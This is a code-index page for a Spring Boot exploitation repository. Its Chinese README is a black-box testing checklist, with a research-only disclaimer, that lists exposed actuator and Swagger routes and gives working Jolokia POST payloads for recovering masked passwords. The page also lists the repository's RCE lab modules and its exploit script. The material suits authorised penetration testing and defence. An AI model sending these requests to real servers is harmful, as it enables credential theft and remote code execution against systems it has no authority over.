MCPcopy Index your code
hub / github.com/LandGrey/SpringBootVulExploit

github.com/LandGrey/SpringBootVulExploit @main

repository ↗ · DeepWiki ↗ · + Follow
79 symbols 141 edges 26 files 0 documented · 0%
README

Spring Boot Vulnerability Exploit Check List

Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list

声明

⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责

目录

零:路由和版本

0x01:路由知识

  • 有些程序员会自定义 /manage/management项目 App 相关名称为 spring 根路径
  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
  • Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

0x02:版本知识

Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。

组件版本的相互依赖关系:

依赖项 版本列表及依赖组件版本
spring-boot-starter-parent spring-boot-starter-parent
spring-boot-dependencies spring-boot-dependencies
spring-cloud-dependencies spring-cloud-dependencies

Spring Cloud 与 Spring Boot 版本之间的依赖关系:

Spring Cloud 大版本 Spring Boot 版本
Angel 兼容 Spring Boot 1.2.x
Brixton 兼容 Spring Boot 1.3.x、1.4.x
Camden 兼容 Spring Boot 1.4.x、1.5.x
Dalston 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Edgware 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Finchley 兼容 Spring Boot 2.0.x,不兼容 1.5.x
Greenwich 兼容 Spring Boot 2.1.x
Hoxton 兼容 Spring Boot 2.2.x

Spring Cloud 小版本号的后缀及含义:

小版本号后缀 含义
BUILD-SNAPSHOT 快照版,代码不是固定,处于变化之中
MX 里程碑版
RCX 候选发布版
RELEASE 正式发布版
SRX (修复错误和 bug 并再次发布的)正式发布版

一:信息泄露

0x01:路由地址及接口调用详情泄漏

开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等

直接访问以下两个 swagger 相关路由,验证漏洞是否存在:

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 "默认安全" 来讲,不暴露出这些信息更加安全。

对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

0x02:配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置

参考 production-ready-endpointsspring-boot.txt,可能因为配置不当而暴露的默认内置路由可能会有:

/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

其中对寻找漏洞比较重要接口的有:

  • /env/actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;

同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

  • /refresh/actuator/refresh

POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

  • /restart/actuator/restart

暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

  • /jolokia/actuator/jolokia

可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

  • /trace/actuator/httptrace

一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

0x03:获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

  • 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

0x04:获取被星号脱敏的密码的明文 (方法二)

利用条件:

  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

Extension points exported contracts — how you extend this code

ProductService (Interface)
(no doc) [2 implementers]
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java
ProductRepository (Interface)
(no doc)
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/repositories/ProductRepository.java

Core symbols most depended-on inside this repo

server_send
called by 8
codebase/springboot-jdbc-deserialization-rce.py
server_receive
called by 7
codebase/springboot-jdbc-deserialization-rce.py
getId
called by 4
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java
getDescription
called by 2
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java
getPrice
called by 2
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java
getImageUrl
called by 2
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java
getId
called by 2
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/domain/Product.java
getById
called by 2
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java

Shape

Method 51
Class 21
Function 4
Interface 2
Route 1

Languages

Java94%
Python6%

Modules by API surface

repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/domain/Product.java9 symbols
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/ProductController.java9 symbols
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java9 symbols
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductServiceImpl.java7 symbols
repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java6 symbols
codebase/springboot-jdbc-deserialization-rce.py3 symbols
repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/controller/Article.java2 symbols
repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/Application.java2 symbols
repository/springboot-spel-rce/src/main/java/code/landgrey/controller/Article.java2 symbols
repository/springboot-spel-rce/src/main/java/code/landgrey/Application.java2 symbols
repository/springboot-restart-rce/src/main/java/code/landgrey/controller/Article.java2 symbols
repository/springboot-restart-rce/src/main/java/code/landgrey/Application.java2 symbols

Dependencies from manifests, versioned

com.h2database:h2
commons-collections:commons-collections3.2.1 · 1×
mysql:mysql-connector-java8.0.12 · 1×
org.jolokia:jolokia-core1.6.0 · 1×
org.springframework.boot:spring-boot-starter-actuator
org.springframework.boot:spring-boot-starter-data-jpa
org.springframework.boot:spring-boot-starter-test
org.springframework.boot:spring-boot-starter-thymeleaf
org.springframework.boot:spring-boot-starter-web
org.springframework.cloud:spring-cloud-commons-dependencies
org.springframework.cloud:spring-cloud-dependenciesGreenwich.SR4 · 1×

Datastores touched

(mysql)Database · 1 repos
mysqlDatabase · 1 repos

For agents

$ claude mcp add SpringBootVulExploit \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact